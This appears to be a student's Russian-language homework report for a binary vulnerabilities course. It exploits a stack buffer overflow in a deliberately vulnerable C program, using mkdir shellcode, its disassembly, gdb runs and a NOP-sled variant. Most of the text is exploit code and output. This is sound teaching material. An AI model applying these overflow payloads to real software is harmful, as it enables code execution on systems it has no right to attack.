Отчет по третьей домашней работе по дисциплине «Бинарные уязвимости».

Хаукка Станислав Игоревич

Задание:

Разработать эксплойт, который бы содержал шелл-код указанный ниже с полезной нагрузкой для программы prog4a. Обязательно убедиться в работоспособности шелл-кода mkdir_shell.

```
$ cat prog4a.c
```

```
#include <stdio.h>
#include <string.h>

void vuln_func(char *data) {
  char buff[256];
  strcpy(buff, data);
}
void main(int argc, char *argv[]) {
  vuln_func(argv[1]);
}
```

```
$ cat mkdir_shell.c
unsigned char shellcode[]=
  "\x31\xc0\x50\x68"
  "\x54\x45\x53\x54"
  "\xb0\x27\x89\xe3"
  "\x66\x41\xcd\x80"
  "\xb0\x0f\x66\xb9"
  "\xff\x01\xcd\x80"
  "\x31\xc0\x40\xcd"
  "\x80\xb0\x01\x31"
  "\xdb\xcd\x80";

void main() {
  int (*ret)() = (int(*)())shellcode;
  ret();
}
```

```
$ objdump -D -M intel mkdir_shell | grep -A16 "<shellcode>"
0804a040 <shellcode>:
  804a040:  31 c0                   xor     eax,eax
  804a042:  50                          push    eax
  804a043:  68 54 45 53 54          push    0x54534554
  804a048:  b0 27                   mov     al,0x27
  804a04a:  89 e3                   mov     ebx,esp
  804a04c:  66 41                   inc     cx
  804a04e:  cd 80                   int     0x80
  804a050:  b0 0f                   mov     al,0xf
  804a052:  66 b9 ff 01             mov     cx,0x1ff
  804a056:  cd 80                   int     0x80
  804a058:  31 c0                   xor     eax,eax
  804a05a:  40                          inc     eax
  804a05b:  cd 80                   int     0x80
  804a05d:  b0 01                   mov     al,0x1
  804a05f:  31 db                   xor     ebx,ebx
  804a061:  cd 80                   int     0x80
```

Решение

Эксплойт состоит из 268 байт мусора(все байты в стеке до адреса вовзрата), 4 байта – адрес возрата, 35 байт – шелл код.

```
(gdb)  r $(python -c 'print "\x41" *268 + "\xa0\xf3\xff\xbf" + "\x31\xc0\x50\x68\x54\
)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bv/l4/prog4a $(python -c 'print "\x41" *268 + "\xa0\xf3\xff\x
80\xb0\x01\x31\xdb\xcd\x80"')

Breakpoint 1, 0x08048421 in vuln_func (data=0xbffff5de 'A' <repeats 200 times>...) at
6         strcpy(buff, data);
(gdb) c
Continuing.
[Inferior 1 (process 18818) exited with code 0230]
(gdb)
```

По моему мнению способ и не удобный, и не корректный – точный адрес с началом шелл-кода заранее не известен и меняется в зависимости от длины эксплойта, а также запуск происходит из-под отладчика. Удобнее будет если переместим шелл-код перед адресом возврата и сможем запускать программу без gdb.

Тогда эксплойт состоит из 233 байт мусора(268 байт из первого решения – 35 байт шелл-кода), далее 35 байт шелл-кода и 4 байта адреса возврата для указания на начало шелл-кода. Адрес вычислил как 268 минус 39 байт (35 – байты шелл-кода и 4 байта – адрес возврата).

```
bv@bv-VirtualBox:~/l4$ rmdir TEST/
bv@bv-VirtualBox:~/l4$ ./prog4a $(python -c 'print "\x41" *233 + "\x31\xc0\x50\x68\x54\x45
" + "\x79\xf3\xff\xbf"')
bv@bv-VirtualBox:~/l4$ ls
mkdir_shell  mkdir_shell.c  prog4a  prog4a.c  TEST
bv@bv-VirtualBox:~/l4$
```

Стало удобнее, но будет лучше если не придется точно вычислять адрес...

Первые 233 байта заполняются не мусором, а nop инструкциями(\x90), а дальше также шелл-код.

В результате имеем возможность не указывать адрес абсолютно точно, а приблизительно тыкнуть в тот участок памяти, где лежат nop инструкции.

```
bv@bv-VirtualBox:~/l4$ rmdir TEST/
bv@bv-VirtualBox:~/l4$ ./prog4a $(python -c 'print "\x90" *233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb
" + "\x70\xf3\xff\xbf"')
bv@bv-VirtualBox:~/l4$ ls
mkdir_shell  mkdir_shell.c  prog4a  prog4a.c  TEST
bv@bv-VirtualBox:~/l4$
```